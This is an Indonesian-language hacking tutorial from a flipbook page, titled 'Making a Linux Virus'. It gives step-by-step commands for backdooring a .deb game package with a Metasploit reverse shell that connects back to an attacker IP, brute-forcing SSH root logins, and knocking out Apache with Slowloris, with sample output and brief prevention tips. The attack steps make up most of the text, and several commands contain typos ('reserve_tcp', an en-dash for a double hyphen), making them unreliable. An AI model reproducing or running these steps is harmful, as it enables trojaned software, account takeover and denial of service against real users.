Membuat Virus Linux - Kelemahan pada dpkg Install paket bukan ...
Membuat Virus Linux - Kelemahan pada dpkg Install paket bukan ...
Membuat Virus Linux - Kelemahan pada dpkg Install paket bukan ...
Transform your PDFs into Flipbooks and boost your revenue!
Leverage SEO-optimized Flipbooks, powerful backlinks, and multimedia content to professionally showcase your products and significantly increase your reach.
<strong>Membuat</strong> <strong>Virus</strong> <strong>Linux</strong><br />
- <strong>Kelemahan</strong> <strong>pada</strong> <strong>dpkg</strong><br />
<strong>Install</strong> <strong>paket</strong> <strong>bukan</strong> dari repositori, sehingga attacker bisa membuat dan<br />
modifikasi file .deb<br />
Sebagai contoh, modifikasi <strong>paket</strong> freesweep (Aplikasi Game <strong>pada</strong> Ubuntu)<br />
seeker@bt # apt-get –download-only install freesweep<br />
Perintah diatas hanya men-download pake freesweep tanpa diinstall kedalam<br />
sistem<br />
seeker@bt # mkdir /tmp/evil<br />
Perintah diatas membuat direktori untuk membuat file .deb yang akan<br />
dimodifikasi<br />
seeker@bt # mv /var/cache/apt/archives/freesweep_0.90-2_i386.deb<br />
/tmp/evil<br />
seeker@bt # cd /tmp/evil/<br />
seeker@bt :/tmp/evil# <strong>dpkg</strong> -x freesweep_0.90-2_i386.deb work<br />
Perintah diatas akan mengekstrak <strong>paket</strong> freesweep<br />
seeker@bt :/tmp/evil # mkdir work/DEBIAN<br />
<strong>Membuat</strong> folder DEBIAN untuk menambah beberapa feature
seeker@bt :/tmp/evil/work/DEBIAN # vi control<br />
membuat file 'control' untuk membuat informasi <strong>paket</strong><br />
seeker@bt :/tmp/evil/work/DEBIAN# vi postinst<br />
Mmbuat file script postinst-installation yang akan di eksekusi.
seeker@bt # msfpayload linux/x86/shell/reserve_tcp LHOST=192.168.57.78<br />
LPORT=443 X > /tmp/evil/work/usr/games/freesweep<br />
<strong>Membuat</strong> malicious payload untuk digunakan sebagai reserve shell, sehingga<br />
attacker dapat back connect menggunakan freesweep<br />
seeker@bt :/tmp/evil/work/DEBIAN#chmod 755 postinst<br />
Agar scriptnya dapat dieksekusi<br />
seeker@bt :/tmp/evil/work/DEBIAN# <strong>dpkg</strong>-deb –build /tmp/evil/work<br />
Mem-build <strong>paket</strong> menjadi work.deb<br />
seeker@bt :/tmp/evil# mv work.deb freesweep.deb<br />
seeker@bt # msfcli exploit/multi/handler<br />
PAYLOAD=linux/x86/shell/reserver_tcp LHOST=192.168.57.78<br />
LPORT=443 E<br />
Attacker akan mencoba untuk menerima incoming connection<br />
victim@ubuntu: sudo <strong>dpkg</strong> -i freesweep.deb
Cara mencegahnya:<br />
– Pastikan mendownload dari repositori secara langsung<br />
– <strong>Install</strong> <strong>paket</strong> menggunakan apt-get / yum<br />
– Mengecek keaslian <strong>paket</strong> dengan md5sum<br />
Attacking Account SSH dengan teknik bruteforce<br />
Persiapan:<br />
<strong>Install</strong> bebapa <strong>paket</strong> pendukung<br />
user@ubuntu:~ sudo apt-get install python-crypto python-paramiko<br />
Download Tool SSH Bruteforce<br />
user@ubuntu:~ wget http://debianuser.org/bruteforce/brutessh.zip<br />
Scanning Port SSH<br />
user@ubuntu:~$ sudo nmap -sV 127.0.0.1<br />
Starting Nmap 5.21 ( http://nmap.org ) at 2012-09-11 01:43 WIT<br />
Nmap scan report for localhost (127.0.0.1)<br />
Host is up (0.000027s latency).<br />
Not shown: 992 closed ports
PORT STATE SERVICE VERSION<br />
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1 (protocol 2.0)<br />
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))<br />
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: KIOSSUNDIP)<br />
443/tcp open http Apache httpd 2.2.22 ((Ubuntu))<br />
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: KIOSSUNDIP)<br />
631/tcp open ipp CUPS 1.5<br />
3128/tcp open http-proxy Squid webproxy 3.1.19<br />
3306/tcp open mysql MySQL 5.5.24-0ubuntu0.12.04.1<br />
Service Info: OS: <strong>Linux</strong><br />
Service detection performed. Please report any incorrect results at<br />
http://nmap.org/submit/ .<br />
Nmap done: 1 IP address (1 host up) scanned in 12.04 seconds<br />
SSH Bruteforce:<br />
user@ubuntu:~ python brutessh.py -h 127.0.0.1 -u root -d passlist.txt<br />
Proteksi<br />
– Good Password<br />
– Change default port 22<br />
– Membatasi maksimal failed login (fail2ban, firewall)<br />
– Firewall:<br />
iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m<br />
recent --set --name SSH<br />
iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m<br />
recent --update --seconds 60 --hitcount 8 --rttl --name SSH -j<br />
LOG --log-prefix "SSH_brute_force "<br />
iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m<br />
recent --update --seconds 60 --hitcount 8 --rttl --name SSH -j<br />
DROP
DNS Poisoning<br />
DNS Poisoning termasuk jenis serangan Man In The Middle<br />
DNS Cache Poisoning merupakan sebuah cara untuk menembus pertahanan<br />
dengan cara menyampaikan informasi IP Address yang salah mengenai<br />
sebuah host, dengan tujuan untuk mengalihkan lalu lintas <strong>paket</strong> data dari<br />
tujuan yang sebenarnya. Cara ini banyak dipakai untuk menyerang situs-situs<br />
e-commerce dan banking yang saat ini bisa dilakukan dengan cara online<br />
dengan pengamanan Token. Teknik ini dapat membuat sebuah server palsu<br />
tampil identik dengan dengan server online banking yang asli. Oleh karena<br />
itu diperlukan digital cerficate untuk mengamankannya, agar server palsu<br />
tidak dapat menangkap data otentifikasi dari nasabah yang mengaksesnya.<br />
Jadi dapat disimpulkan cara kerja DNS (Domain Name System) poisoning ini<br />
adalah dengan mengacaukan DNS Server asli agar pengguna Internet<br />
terkelabui untuk mengakses web site palsu yang dibuat benar-benar<br />
menyerupai aslinya tersebut, agar data dapat masuk ke server palsu.<br />
Target dari DNS Poisoning<br />
– User yang memakai akses LAN/WLan (Layer 2), atau user yang<br />
terinfeksi virus/worm<br />
– Owned Domain Manager<br />
– Owned Root<br />
HTTPD DoS / DdoS dengan Slowloris<br />
Slowloris adalah sebuah tool DoS/DDoS yanng dibuat dengan menggunakan<br />
perl. Slowloris ditemukan oleh RSnake. Tool ini hanya memakai sedikit<br />
bandwidth dari attacker.<br />
Beberapa tipe WebServer yang rentan terhadap serangan ini:<br />
• Apache 1.x<br />
• Apache 2.x<br />
• dhttpd<br />
• GoAhead WebServer<br />
• WebSense "block pages" (unconfirmed)
• Trapeze Wireless Web Portal (unconfirmed)<br />
• Verizon's MI424-WR FIOS Cable modem (unconfirmed)<br />
• Verizon's Motorola Set-Top Box (port 8082 and requires auth -<br />
unconfirmed)<br />
• BeeWare WAF (unconfirmed)<br />
• Deny All WAF (unconfirmed)<br />
Sedangkan beberapa tipe WebServer yang tidak akan kena dari serangan ini:<br />
• IIS6.0<br />
• IIS7.0<br />
• lighttpd<br />
• Squid<br />
• nginx<br />
• Cherokee<br />
• Netscaler<br />
• Cisco CSS<br />
Tool Slowloris membutuh program Perl interpreter dengan modul seperti<br />
IO:Socket::INET, IO::Socket::SSL dan GetOpt::Long. Untuk menginstall<br />
modul tersebut bisa menggunakan CPAN:<br />
perl -MCPAN -e 'install IO::Socket::INET'<br />
perl -MCPAN -e 'install IO::Socket::SSL'<br />
Persiapan:<br />
Download tool Slowloris<br />
user@ubuntu:~$ wget http://ha.ckers.org/slowloris/slowloris.pl<br />
Scanning untuk mendapatkan jenis web server dan port-nya<br />
user@ubuntu:~$ sudo nmap -sV 127.0.0.1<br />
Starting Nmap 5.21 ( http://nmap.org ) at 2012-09-11 01:43 WIT<br />
Nmap scan report for localhost (127.0.0.1)<br />
Host is up (0.000027s latency).<br />
Not shown: 992 closed ports
PORT STATE SERVICE VERSION<br />
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1 (protocol 2.0)<br />
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))<br />
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: KIOSSUNDIP)<br />
443/tcp open http Apache httpd 2.2.22 ((Ubuntu))<br />
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: KIOSSUNDIP)<br />
631/tcp open ipp CUPS 1.5<br />
3128/tcp open http-proxy Squid webproxy 3.1.19<br />
3306/tcp open mysql MySQL 5.5.24-0ubuntu0.12.04.1<br />
Service Info: OS: <strong>Linux</strong><br />
Service detection performed. Please report any incorrect results at<br />
http://nmap.org/submit/ .<br />
Nmap done: 1 IP address (1 host up) scanned in 12.04 seconds<br />
Victim menggunakan jenis webserver Apache httpd dengan versi 2.2.22 dan<br />
port-nya 80.<br />
Scanning server apakah mempunyai vulnerability terhadap serangan ini:<br />
user@ubuntu:~$ perl slowloris.pl -dns [domain.com / IP target] -port 80 -test<br />
user@ubuntu:~$ sudo perl slowloris.pl -dns 127.0.0.1 -port 80 -test<br />
Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP<br />
client<br />
Defaulting to a 5 second tcp connection timeout.<br />
Multithreading enabled.<br />
This test could take up to 14.3666666666667 minutes.<br />
Connection successful, now comes the waiting game...<br />
Trying a 2 second delay:<br />
Worked.<br />
Trying a 30 second delay:<br />
Worked.<br />
Trying a 90 second delay:<br />
Worked.<br />
Trying a 240 second delay:
Failed.<br />
Trying a 500 second delay:<br />
Worked.<br />
Remote server closed socket.<br />
Use 240 seconds for -timeout.<br />
Setelah mengetahui limit timeout dari situs victim, attacker akan langsung<br />
menyerangnya, yaitu dengan mengirim <strong>paket</strong> flood secara random<br />
user@ubuntu:~$ perl slowloris.pl -dns [target] -port 80 -timeout 500 -num<br />
500 -tcpto 5 -httpready<br />
keterangan :<br />
• -dns : the target ( dapat berupa IP atau domain )<br />
• -port : port yg di gunakan oleh webserver ( 80 )<br />
• -timeout: nilai waktu delay timeout untuk setiap <strong>paket</strong> thread, penantian<br />
reacquiring ruang tcp di server. <strong>pada</strong> langkah pengetesan, Nilai ini diisi<br />
dengan flag -test<br />
• -num : jumlah soket yang digunakan untuk mendapatkan<br />
koneksi.Biasanya server apache akan membutuhkan nilai antara 400-<br />
600 atau tergantung <strong>pada</strong> konfigurasi<br />
• -tcpto : TCP Timeout.<br />
• -httpready: HTTPReady di gunakan apache untuk buffer connections.<br />
attacker dapat melewati perlindungan ini dengan mengirimkan<br />
permintaan POST <strong>bukan</strong> GET atau HEAD.<br />
user@ubuntu:~$ sudo perl slowloris.pl -dns 127.0.0.1 -port 80 -timeout 240<br />
-num 500 -tcpto 5 -httpready<br />
Cara mencegahnya:<br />
– Menggunakan LoadBalancing WebServer<br />
– Mengganti webserver yang rentan terhadap serangan Slowloris dengan<br />
webserver yang aman dari Slowloris<br />
– Setting Firewall/Iptables, agar membatasi koneksi limit <strong>pada</strong> port 80<br />
user@ubuntu:~$ sudo iptables -I INPUT -p tcp --dport 80 -m connlimit
--connlimit-above 20 --connlimit-mask 32 -j DROP